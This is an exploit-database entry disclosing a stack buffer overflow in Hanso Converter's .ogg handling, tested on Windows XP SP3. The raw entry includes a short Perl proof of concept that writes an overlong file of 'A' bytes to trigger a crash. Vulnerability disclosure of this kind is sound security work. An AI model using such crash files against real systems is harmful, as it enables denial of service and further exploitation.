Hanso Converter (.ogg) Buffer Overflow Vulnerability

vendor:

Hanso Converter

by:

anT!-Tr0J4n

9,3

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Hanso Converter

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: No

Related CWE: N/A

CPE: a:hansotools:hanso_converter

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP3

2009

Hanso Converter (.ogg) Buffer Overflow Vulnerability

Hanso Converter is prone to a buffer overflow vulnerability when handling .ogg files. This can be exploited to cause a stack-based buffer overflow via an overly long, specially-crafted .ogg file.

Mitigation:

No known mitigation

Source

Exploit-DB raw data:

===================================================
Hanso Converter (.ogg) Buffer Overflow Vulnerability
===================================================
#Title: Hanso Converter (.ogg) Buffer Overflow Vulnerability
#Author    :   anT!-Tr0J4n
#Email      :   D3v-PoinT[at]hotmail[d0t]com & C1EH[at]Hotmail[d0t]com
#Greetz    :   Dev-PoinT.com ~ inj3ct0r.com  ~all DEV-PoinT t34m
#thanks    :   r0073r ; Sid3^effects ; L0rd CrusAd3r ; all Inj3ct0r 31337 Member
#Home     :   www.Dev-PoinT.com  $ http://inj3ct0r.com
#Software :  http://www.hansotools.com/applications/hanso-converter.html
#Tested on:   Windows XP sp3
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

#!/usr/bin/perl 
print "| Author: anT!-Tr0J4n      |\n";
print "| Greetz :http://inj3ct0r.com     |\n";
print "|Home : www.Dev-PoinT.com  |\n";

my $junk= "\x41" x 480 ;
open(file,">crash.ogg");
print file $junk ;
close(file);